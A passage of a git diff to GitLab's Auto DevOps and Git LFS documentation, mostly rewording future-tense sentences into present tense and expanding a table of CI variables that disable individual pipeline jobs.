`AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes doesn't prevent word splitting. [More details](#passing-arguments-to-docker-build). | | `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI variable names](#forward-ci-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). | | `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). | | `AUTO_DEVOPS_CHART_REPOSITORY` | Helm Chart repository used to search for charts. Defaults to `https://charts.gitlab.io`. | | `AUTO_DEVOPS_CHART_REPOSITORY_NAME` | From GitLab 11.11, used to set the name of the Helm repository. Defaults to `gitlab`. | | `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME` | From GitLab 11.11, used to set a username to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD`. | | `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD` | From GitLab 11.11, used to set a password to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME`. | -| `AUTO_DEVOPS_DEPLOY_DEBUG` | From GitLab 13.1, if this variable is present, Helm will output debug logs. | +| `AUTO_DEVOPS_DEPLOY_DEBUG` | From GitLab 13.1, if this variable is present, Helm outputs debug logs. | | `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` | From [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) v1.0.0, if this variable is present, a new major version of chart is forcibly deployed. For more information, see [Ignore warnings and continue deploying](upgrading_auto_deploy_dependencies.md#ignore-warnings-and-continue-deploying). | | `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` | From GitLab 12.5, used in combination with [ModSecurity feature flag](../../user/clusters/applications.md#web-application-firewall-modsecurity) to toggle [ModSecurity's `SecRuleEngine`](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRuleEngine) behavior. Defaults to `DetectionOnly`. | | `BUILDPACK_URL` | Buildpack's full URL. Can point to either [a Git repository URL or a tarball URL](#custom-buildpacks). | @@ -345,9 +345,9 @@ applications. | `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](#custom-dockerfile) | | `HELM_RELEASE_NAME` | From GitLab 12.1, allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. | | `HELM_UPGRADE_VALUES_FILE` | From GitLab 12.6, allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. | -| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes won't prevent word splitting. | +| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes doesn't prevent word splitting. | | `INCREMENTAL_ROLLOUT_MODE` | From GitLab 11.4, if present, can be used to enable an [incremental rollout](#incremental-rollout-to-production) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. | -| `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) will be made available by Auto DevOps as environment variables to the deployed application. | +| `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) is made available by Auto DevOps as environment variables to the deployed application. | | `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, can be used to set a domain per cluster. See [cluster domains](../../user/project/clusters/index.md#base-domain) for more information. | | `PRODUCTION_REPLICAS` | Number of replicas to deploy in the production environment. Takes precedence over `REPLICAS` and defaults to 1. For zero downtime upgrades, set to 2 or greater. | | `REPLICAS` | Number of replicas to deploy. Defaults to 1. | @@ -377,26 +377,56 @@ The following table lists variables related to the database. | `POSTGRES_USER` | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. | | `POSTGRES_PASSWORD` | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. | | `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-environment-variables). Set it to use a custom database name. | -| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments will use the default version `9.6.2`. | +| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. | ### Disable jobs The following table lists variables used to disable jobs. -| **Variable** | **Description** | -|-----------------------------------------|------------------------------------| -| `CODE_QUALITY_DISABLED` | From GitLab 11.0, used to disable the `codequality` job. If the variable is present, the job won't be created. | -| `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0, used to disable the `sast:container` job. If the variable is present, the job won't be created. | -| `DAST_DISABLED` | From GitLab 11.0, used to disable the `dast` job. If the variable is present, the job won't be created. | -| `DEPENDENCY_SCANNING_DISABLED` | From GitLab 11.0, used to disable the `dependency_scanning` job. If the variable is present, the job won't be created. | -| `LICENSE_MANAGEMENT_DISABLED` | From GitLab 11.0, used to disable the `license_management` job. If the variable is present, the job won't be created. | -| `PERFORMANCE_DISABLED` | From GitLab 11.0, used to disable the browser `performance` job. If the variable is present, the job won't be created. | -| `LOAD_PERFORMANCE_DISABLED` | From GitLab 13.2, used to disable the `load_performance` job. If the variable is present, the job won't be created. | -| `REVIEW_DISABLED` | From GitLab 11.0, used to disable the `review` and the manual `review:stop` job. If the variable is present, these jobs won't be created. | -| `SAST_DISABLED` | From GitLab 11.0, used to disable the `sast` job. If the variable is present, the job won't be created. | -| `TEST_DISABLED` | From GitLab 11.0, used to disable the `test` job. If the variable is present, the job won't be created. | -| `SECRET_DETECTION_DISABLED` | From GitLab 13.1, used to disable the `secret_detection` job. If the variable is present, the job won't be created. | -| `CODE_INTELLIGENCE_DISABLED` | From GitLab 13.6, used to disable the `code_intelligence` job. If the variable is present, the job won't be created. | +| **Job Name** | **Variable** | **GitLab version** | **Description** | +|----------------------------------------|---------------------------------|-----------------------|-----------------| +| `.fuzz_base` | `COVFUZZ_DISABLED` | [From GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34984) | [Read more](../../user/application_security/coverage_fuzzing/) about how `.fuzz_base` provide capability for your own jobs. If the variable is present, your jobs won't be created. | +| `apifuzzer_fuzz` | `API_FUZZING_DISABLED` | [From GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39135) | If the variable is present, the job won't be created. | +| `bandit-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `brakeman-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `bundler-audit-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job won't be created. | +| `canary` | `CANARY_ENABLED` | | This manual job is created if the variable is present. | +| `code_intelligence` | `CODE_INTELLIGENCE_DISABLED` | From GitLab 13.6 | If the variable is present, the job isn't created. | +| `codequality` | `CODE_QUALITY_DISABLED` | Until GitLab 11.0 | If the variable is present, the job won't be created. | +| `code_quality` | `CODE_QUALITY_DISABLED` | [From GitLab 11.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5773) | If the variable is present, the job won't be created. | +| `container_scanning` | `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job won't be created. | +| `dast` | `DAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job won't be created. | +| `dast_environment_deploy` | `DAST_DISABLED_FOR_DEFAULT_BRANCH` or `DAST_DISABLED` | [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17789) | If either variable is present, the job won't be created. | +| `dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job won't be created. | +| `eslint-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `flawfinder-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `gemnasium-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job won't be created. | +| `gemnasium-maven-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job won't be created. | +| `gemnasium-python-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job won't be created. | +| `gosec-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `kubesec-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `license_management` | `LICENSE_MANAGEMENT_DISABLED` | GitLab 11.0 to 12.7 | If the variable is present, the job won't be created. Job deprecated [from GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | +| `license_scanning` | `LICENSE_MANAGEMENT_DISABLED` | [From GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | If the variable is present, the job won't be created. | +| `load_performance` | `LOAD_PERFORMANCE_DISABLED` | From GitLab 13.2 | If the variable is present, the job won't be created. | +| `nodejs-scan-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `performance` | `PERFORMANCE_DISABLED` | From GitLab 11.0 | Browser performance. If the variable is present, the job won't be created. | +| `phpcs-security-audit-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `pmd-apex-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `retire-js-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job won't be created. | +| `review` | `REVIEW_DISABLED` | From GitLab 11.0 | If the variable is present, the job won't be created. | +| `review:stop` | `REVIEW_DISABLED` | From GitLab 11.0 | Manual job. If the variable is present, the job won't be created. | +| `sast` | `SAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job won't be created. | +| `sast:container` | `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job won't be created. | +| `secret_detection` | `SECRET_DETECTION_DISABLED` | From GitLab 13.1 | If the variable is present, the job won't be created. | +| `secret_detection_default_branch` | `SECRET_DETECTION_DISABLED` | [From GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | If the variable is present, the job won't be created. | +| `security-code-scan-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `secrets-sast` | `SAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job won't be created. | +| `sobelaw-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `stop_dast_environment` | `DAST_DISABLED_FOR_DEFAULT_BRANCH` or `DAST_DISABLED` | [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17789) | If either variable is present, the job won't be created. | +| `spotbugs-sast` | `SAST_DISABLED` | | If the variable is present, the job won't be created. | +| `test` | `TEST_DISABLED` | From GitLab 11.0 | If the variable is present, the job won't be created. | +| `staging` | `STAGING_ENABLED` | | The job is created if the variable is present. | +| `stop_review` | `REVIEW_DISABLED` | | If the variable is present, the job won't be created. | ### Application secret variables @@ -418,7 +448,7 @@ To configure your application variables: 1. Run an Auto DevOps pipeline, either by manually creating a new pipeline or by pushing a code change to GitLab. -Auto DevOps pipelines will take your application secret variables to +Auto DevOps pipelines take your application secret variables to populate a Kubernetes secret. This secret is unique per environment. When deploying your application, the secret is loaded as environment variables in the container running the application. Following the @@ -444,7 +474,7 @@ type: Opaque Environment variables are generally considered immutable in a Kubernetes pod. If you update an application secret without changing any code, then manually -create a new pipeline, you will find any running application pods won't have +create a new pipeline, any running application pods don't receive the updated secrets. To update the secrets, either: - Push a code update to GitLab to force the Kubernetes deployment to recreate pods. @@ -465,7 +495,7 @@ enabling you to define your own variables for scaling the pod's replicas: - `TRACK`: The capitalized value of the `track` [Kubernetes label](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/) - in the Helm Chart app definition. If not set, it won't be taken into account + in the Helm Chart app definition. If not set, it isn't taken into account to the variable name. - `ENV`: The capitalized environment name of the deploy job, set in `.gitlab-ci.yml`. @@ -547,7 +577,7 @@ check how the application is behaving before manually increasing the rollout up If `INCREMENTAL_ROLLOUT_MODE` is set to `manual` in your project, then instead of the standard `production` job, 4 different [manual jobs](../../ci/pipelines/index.md#add-manual-interaction-to-your-pipeline) -will be created: +are created: 1. `rollout 10%` 1. `rollout 25%` @@ -556,7 +586,7 @@ will be created: The percentage is based on the `REPLICAS` variable, and defines the number of pods you want to have for your deployment. If the value is `10`, and you run the -`10%` rollout job, there will be `1` new pod + `9` old ones. +`10%` rollout job, there is `1` new pod and `9` old ones. To start a job, click the play icon (**{play}**) next to the job's name. You're not required to go from `10%` to `100%`, you can jump to whatever job you want. @@ -566,7 +596,7 @@ back by redeploying the old version using the [rollback button](../../ci/environments/index.md#retrying-and-rolling-back) in the environment page. -Below, you can see how the pipeline will look if the rollout or staging +Below, you can see how the pipeline appears if the rollout or staging variables are defined. Without `INCREMENTAL_ROLLOUT_MODE` and without `STAGING_ENABLED`: @@ -585,9 +615,9 @@ With `INCREMENTAL_ROLLOUT_MODE` set to `manual` and with `STAGING_ENABLED`  -CAUTION: **Caution:** +WARNING: **Deprecation:** Before GitLab 11.4, the presence of the `INCREMENTAL_ROLLOUT_ENABLED` environment -variable enabled this feature. This configuration is deprecated, and will be +variable enabled this feature. This configuration is deprecated, and is scheduled to be removed in the future. ### Timed incremental rollout to production **(PREMIUM)** diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md index 014690c4cdf..f34c8c947e1 100644 --- a/doc/topics/autodevops/index.md +++ b/doc/topics/autodevops/index.md @@ -49,7 +49,7 @@ runs on pipelines automatically only if a [`Dockerfile` or matching buildpack](s exists. If a [CI/CD configuration file](../../ci/yaml/README.md) is present in the project, -it will continue to be used, whether or not Auto DevOps is enabled. +it continues to be used, whether or not Auto DevOps is enabled. ## Quick start @@ -146,7 +146,7 @@ any of the following places: The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence as other environment [variables](../../ci/variables/README.md#priority-of-environment-variables). If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain** -setting will be used if set. +setting is used if set. TIP: **Tip:** If you use the [GitLab managed app for Ingress](../../user/clusters/applications.md#ingress), @@ -236,7 +236,7 @@ Auto DevOps at the group and project level, respectively. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/38542) in GitLab 11.0. -You can change the deployment strategy used by Auto DevOps by going to your +You can change the deployment strategy used by Auto DevOps by visiting your project's **Settings > CI/CD > Auto DevOps**. The following options are available: @@ -372,7 +372,7 @@ To fix this issue, you must either: ### Failure to create a Kubernetes namespace -Auto Deploy will fail if GitLab can't create a Kubernetes namespace and +Auto Deploy fails if GitLab can't create a Kubernetes namespace and service account for your project. For help debugging this issue, see [Troubleshooting failed deployment jobs](../../user/project/clusters/index.md#troubleshooting). @@ -476,7 +476,7 @@ that works for this problem. Follow these steps to use the tool in Auto DevOps: ### Error: error initializing: Looks like "https://kubernetes-charts.storage.googleapis.com" is not a valid chart repository or cannot be reached As [announced in the official CNCF blogpost](https://www.cncf.io/blog/2020/10/07/important-reminder-for-all-helm-users-stable-incubator-repos-are-deprecated-and-all-images-are-changing-location/), -the stable Helm chart repository will be deprecated and removed on November 13th, 2020. +the stable Helm chart repository was deprecated and removed on November 13th, 2020. You may encounter this error after that date. Some GitLab features had dependencies on the stable chart. To mitigate the impact, we changed them @@ -495,7 +495,7 @@ include: image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v1.0.5" ``` -Keep in mind that this approach will eventually stop working when the stable repository is removed, +Keep in mind that this approach stops working when the stable repository is removed, so you must eventually fix your custom chart. To fix your custom chart: diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md index 3531035eb67..b19cb5eeb86 100644 --- a/doc/topics/autodevops/quick_start_guide.md +++ b/doc/topics/autodevops/quick_start_guide.md @@ -6,15 +6,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Getting started with Auto DevOps -This step-by-step guide will help you use [Auto DevOps](index.md) to +This step-by-step guide helps you use [Auto DevOps](index.md) to deploy a project hosted on GitLab.com to Google Kubernetes Engine. -You will use GitLab's native Kubernetes integration, so you won't need +You are using GitLab's native Kubernetes integration, so you don't need to create a Kubernetes cluster manually using the Google Cloud Platform console. -You will create and deploy a simple application that you create from a GitLab template. +You are creating and deploying a simple application that you create from a GitLab template. -These instructions will also work for a self-managed GitLab instance; you'll just -need to ensure your own [runners are configured](../../ci/runners/README.md) and +These instructions also work for a self-managed GitLab instance; +ensure your own [runners are configured](../../ci/runners/README.md) and [Google OAuth is enabled](../../integration/google.md). ## Configure your Google account @@ -38,7 +38,7 @@ and apply for credit. ## Create a new project from a template -We will use one of GitLab's project templates to get started. As the name suggests, +We are using one of GitLab's project templates to get started. As the name suggests, those projects provide a bare-bones application built on some well-known frameworks. 1. In GitLab, click the plus icon (**{plus-square}**) at the top of the navigation bar, and select @@ -57,7 +57,7 @@ those projects provide a bare-bones application built on some well-known framewo 1. Click **Create project**. -Now that you've created a project, you'll next create the Kubernetes cluster +Now that you've created a project, create the Kubernetes cluster to deploy this project to. ## Create a Kubernetes cluster from within GitLab @@ -98,30 +98,30 @@ to deploy this project to. 1. Click **Create Kubernetes cluster**. -After a couple of minutes, the cluster will be created. You can also see its +After a couple of minutes, the cluster is created. You can also see its status on your [GCP dashboard](https://console.cloud.google.com/kubernetes). -Next, you will install some applications on your cluster that are needed +Next, install some applications on your cluster that are needed to take full advantage of Auto DevOps. ## Install Ingress and Prometheus -After your cluster is running, you can install your first applications. -In this guide, we will install Ingress and Prometheus: +After your cluster is running, you can install your first applications, +Ingress and Prometheus: - Ingress - Provides load balancing, SSL termination, and name-based virtual hosting, using NGINX behind the scenes. - Prometheus - An open-source monitoring and alerting system used to supervise the deployed application. -We won't install GitLab Runner in this quick start guide, as this guide uses the +We aren't installing GitLab Runner in this quick start guide, as this guide uses the shared runners provided by GitLab.com. To install the applications: - Click the **Install** button for **Ingress**. - When the **Ingress Endpoint** is displayed, copy the IP address. -- Add your **Base domain**. For this guide, we will use the domain suggested by GitLab. +- Add your **Base domain**. For this guide, use the domain suggested by GitLab. - Click **Save changes**.  @@ -251,7 +251,7 @@ a few more that run only on branches other than `master`.  -After a few minutes you'll notice a test failed, which means a test was +After a few minutes a test fails, which means a test was 'broken' by your change. Click on the failed `test` job to see more information about it: diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md index acec7b79d6b..671d85066f9 100644 --- a/doc/topics/autodevops/requirements.md +++ b/doc/topics/autodevops/requirements.md @@ -46,7 +46,7 @@ To make full use of Auto DevOps with Kubernetes, you need: [Auto Deploy](stages.md#auto-deploy), and [Auto Monitoring](stages.md#auto-monitoring)) You need a domain configured with wildcard DNS, which all of your Auto DevOps - applications will use. If you're using the + applications use. If you're using the [GitLab-managed app for Ingress](../../user/clusters/applications.md#ingress), the URL endpoint is automatically configured for you. @@ -111,7 +111,7 @@ After all requirements are met, you can [enable Auto DevOps](index.md#enablingdi You can choose to target [AWS ECS](../../ci/cloud_deployment/index.md) as a deployment platform instead of using Kubernetes. -To get started on Auto DevOps to AWS ECS, you'll have to add a specific Environment +To get started on Auto DevOps to AWS ECS, you must add a specific Environment Variable. To do so, follow these steps: 1. In your project, go to **Settings > CI / CD** and expand the **Variables** @@ -124,19 +124,19 @@ Variable. To do so, follow these steps: When you trigger a pipeline, if you have Auto DevOps enabled and if you have correctly [entered AWS credentials as environment variables](../../ci/cloud_deployment/index.md#deploy-your-application-to-the-aws-elastic-container-service-ecs), -your application will be deployed to AWS ECS. +your application is deployed to AWS ECS. [GitLab Managed Apps](../../user/clusters/applications.md) are not available when deploying to AWS ECS. You must manually configure your application (such as Ingress or Help) on AWS ECS. If you have both a valid `AUTO_DEVOPS_PLATFORM_TARGET` variable and a Kubernetes cluster tied to your project, -only the deployment to Kubernetes will run. +only the deployment to Kubernetes runs. CAUTION: **Warning:** -Setting the `AUTO_DEVOPS_PLATFORM_TARGET` variable to `ECS` will trigger jobs +Setting the `AUTO_DEVOPS_PLATFORM_TARGET` variable to `ECS` triggers jobs defined in the [`Jobs/Deploy/ECS.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml). However, it's not recommended to [include](../../ci/yaml/README.md#includetemplate) it on its own. This template is designed to be used with Auto DevOps only. It may change unexpectedly causing your pipeline to fail if included on its own. Also, the job names within this template may also change. Do not override these jobs' names in your -own pipeline, as the override will stop working when the name changes. +own pipeline, as the override stops working when the name changes. diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md index f2d3b78e2b0..b2be2038db6 100644 --- a/doc/topics/autodevops/stages.md +++ b/doc/topics/autodevops/stages.md @@ -64,7 +64,7 @@ value. The default builder is `heroku/buildpacks:18` but a different builder can be selected using the CI variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER`. Cloud Native Buildpacks (CNBs) are an evolution of Heroku buildpacks, and -will eventually supersede Herokuish-based builds within Auto DevOps. For more +GitLab expects them to eventually supersede Herokuish-based builds within Auto DevOps. For more information, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212692). Builds using Cloud Native Buildpacks support the same options as builds using @@ -150,7 +150,7 @@ out. The merge request widget also displays any Static Application Security Testing (SAST) uses the [SAST Docker image](https://gitlab.com/gitlab-org/security-products/sast) to run static analysis on the current code, and checks for potential security issues. The -Auto SAST stage will be skipped on licenses other than +Auto SAST stage is skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/), and requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or above. @@ -387,16 +387,16 @@ in the first place, and thus not realize that it needs to re-apply the old confi [GitLab Deploy Tokens](../../user/project/deploy_tokens/index.md#gitlab-deploy-token) are created for internal and private projects when Auto DevOps is enabled, and the Auto DevOps settings are saved. You can use a Deploy Token for permanent access to -the registry. After you manually revoke the GitLab Deploy Token, it won't be +the registry. After you manually revoke the GitLab Deploy Token, it isn't automatically created. If the GitLab Deploy Token can't be found, `CI_REGISTRY_PASSWORD` is used. NOTE: **Note:** -`CI_REGISTRY_PASSWORD` is only valid during deployment. Kubernetes will be able -to successfully pull the container image during deployment, but if the image must -be pulled again, such as after pod eviction, Kubernetes will fail to do so +`CI_REGISTRY_PASSWORD` is only valid during deployment. Kubernetes can +successfully pull the container image during deployment, but if the image must +be pulled again, such as after pod eviction, Kubernetes cannot do so as it attempts to fetch the image using `CI_REGISTRY_PASSWORD`. ### Kubernetes 1.16+ @@ -455,7 +455,7 @@ initialization completes, GitLab deploys a second release with the application deployment as normal. Note that a post-install hook means that if any deploy succeeds, -`DB_INITIALIZE` won't be processed thereafter. +`DB_INITIALIZE` isn't processed thereafter. If present, `DB_MIGRATE` is run as a shell command within an application pod as a Helm pre-upgrade hook. @@ -492,7 +492,7 @@ the standard health checks, which expect a successful HTTP response on port the [`sidekiq_alive` gem](https://rubygems.org/gems/sidekiq_alive). To work with Sidekiq, you must also ensure your deployments have -access to a Redis instance. Auto DevOps won't deploy this instance for you, so +access to a Redis instance. Auto DevOps doesn't deploy this instance for you, so you must: - Maintain your own Redis instance. diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md index 16536e5b586..2baa409be54 100644 --- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md +++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md @@ -73,7 +73,9 @@ please proceed with the following upgrade guide. Otherwise, you can skip this pr #### Kubernetes 1.16+ -The v2 auto-deploy-image also drops support for Kubernetes 1.15 and lower. +The v2 auto-deploy-image drops support for Kubernetes 1.15 and lower. If you need to upgrade your +Kubernetes cluster, follow your cloud provider's instructions. Here's +[an example on GKE](https://cloud.google.com/kubernetes-engine/docs/how-to/upgrading-a-cluster). #### Helm 3 @@ -114,6 +116,12 @@ If your Auto DevOps project has an active environment that was deployed with the `kubectl apply -f $backup`. 1. Remove the `MIGRATE_HELM_2TO3` variable. +#### In-Cluster PostgreSQL Channel 2 + +The v2 auto-deploy-image drops support for [legacy in-cluster PostgreSQL](upgrading_postgresql.md). +If your Kubernetes cluster still depends on it, [upgrade and migrate your data](upgrading_postgresql.md) +with the [v1 auto-deploy-image](#use-a-specific-version-of-auto-deploy-dependencies). + #### Traffic routing change for canary deployments and incremental rollouts > [Introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/merge_requests/109) in GitLab 13.4. diff --git a/doc/topics/autodevops/upgrading_chart.md b/doc/topics/autodevops/upgrading_chart.md index e4fb84d4509..2162969b53e 100644 --- a/doc/topics/autodevops/upgrading_chart.md +++ b/doc/topics/autodevops/upgrading_chart.md @@ -3,3 +3,6 @@ redirect_to: 'upgrading_auto_deploy_dependencies.md' --- This document was moved to [another location](upgrading_auto_deploy_dependencies.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/topics/autodevops/upgrading_postgresql.md b/doc/topics/autodevops/upgrading_postgresql.md index a3c9f562f5e..6a13a036d49 100644 --- a/doc/topics/autodevops/upgrading_postgresql.md +++ b/doc/topics/autodevops/upgrading_postgresql.md @@ -79,7 +79,7 @@ being modified after the database dump is created. deployment.extensions/production scaled ``` -1. You also will need to set replicas to zero for workers if you have any. +1. You must also set replicas to zero for workers if you have any. ## Backup @@ -112,7 +112,7 @@ being modified after the database dump is created. - `USERNAME` is the username you have configured for PostgreSQL. The default is `user`. - `DATABASE_NAME` is usually the environment name. - - You will be asked for the database password, the default is `testing-password`. + - When prompted for the database password, the default is `testing-password`. ```shell ## Format is: @@ -169,7 +169,7 @@ pvc-9085e3d3-5239-11ea-9c8d-42010a8e0096 8Gi RWO Retain ## Install new PostgreSQL CAUTION: **Caution:** -Using the newer version of PostgreSQL will delete +Using the newer version of PostgreSQL deletes the older 0.7.1 PostgreSQL. To prevent the underlying data from being deleted, you can choose to retain the [persistent volume](#retain-persistent-volumes). @@ -196,9 +196,9 @@ higher*. This is the `XDB_INITIALIZE` or the `XDB_MIGRATE` to effectively disable them. 1. Run a new CI pipeline for the branch. In this case, we run a new CI pipeline for `master`. -1. Once the pipeline is successful, your application will now be upgraded - with the new PostgreSQL installed. There will also be zero replicas - which means no traffic will be served for your application (to prevent +1. After the pipeline is successful, your application is upgraded + with the new PostgreSQL installed. Zero replicas exist at this time, so + no traffic is served for your application (to prevent new data from coming in). ## Restore @@ -226,7 +226,7 @@ higher*. This is the 1. Once connected to the pod, run the following command to restore the database. - - You will be asked for the database password, the default is `testing-password`. + - When asked for the database password, the default is `testing-password`. - `USERNAME` is the username you have configured for PostgreSQL. The default is `user`. - `DATABASE_NAME` is usually the environment name. diff --git a/doc/topics/git/lfs/migrate_to_git_lfs.md b/doc/topics/git/lfs/migrate_to_git_lfs.md index 596b2cb400f..bf7c69eb9ba 100644 --- a/doc/topics/git/lfs/migrate_to_git_lfs.md +++ b/doc/topics/git/lfs/migrate_to_git_lfs.md @@ -10,9 +10,8 @@ description: "How to migrate an existing Git repository to Git LFS with BFG." Using Git LFS can help you to reduce the size of your Git repository and improve its performance. -However, simply adding the -large files that are already in your repository to Git LFS, -will not actually reduce the size of your repository because +However, simply adding the large files that are already in your repository to Git LFS +doesn't actually reduce the size of your repository because the files are still referenced by previous commits. Through the method described on this document, first migrate @@ -41,7 +40,7 @@ Before beginning, make sure: Branches based on the repository before applying this method cannot be merged. Branches based on the repo before applying this method cannot be merged. -To follow this tutorial, you'll need: +To follow this tutorial, you need: - Maintainer permissions to the existing Git repository you'd like to migrate to LFS with access through the command line. @@ -74,7 +73,7 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs- 1. Clone `--mirror` the repository: - Cloning with the mirror flag will create a bare repository. + Cloning with the mirror flag creates a bare repository. This ensures you get all the branches within the repo. It creates a directory called `<repo-name>.git` @@ -150,7 +149,7 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs- ``` Now all existing the files you converted, as well as the new - ones you add, will be properly tracked with LFS. + ones you add, are properly tracked with LFS. 1. [Re-protect the default branch](../../../user/project/protected_branches.md): diff --git a/doc/topics/git/migrate_to_git_lfs/index.md b/doc/topics/git/migrate_to_git_lfs/index.md index ff60603ae58..c530fa1dcb1 100644 --- a/doc/topics/git/migrate_to_git_lfs/index.md +++ b/doc/topics/git/migrate_to_git_lfs/index.md @@ -3,3 +3,6 @@ redirect_to: '../lfs/migrate_to_git_lfs.md' --- This document was moved to [another location](../lfs/migrate_to_git_lfs.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/topics/index.md b/doc/topics/index.md index 91b1905f1b6..a5dcfa5fc57 100644 --- a/doc/topics/index.md +++ b/doc/topics/index.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Welcome to Topics! We have organized our content resources into topics to get you started on areas of your interest. Each topic page -consists of an index listing all related content. It will guide +consists of an index listing all related content. It guides you through better understanding 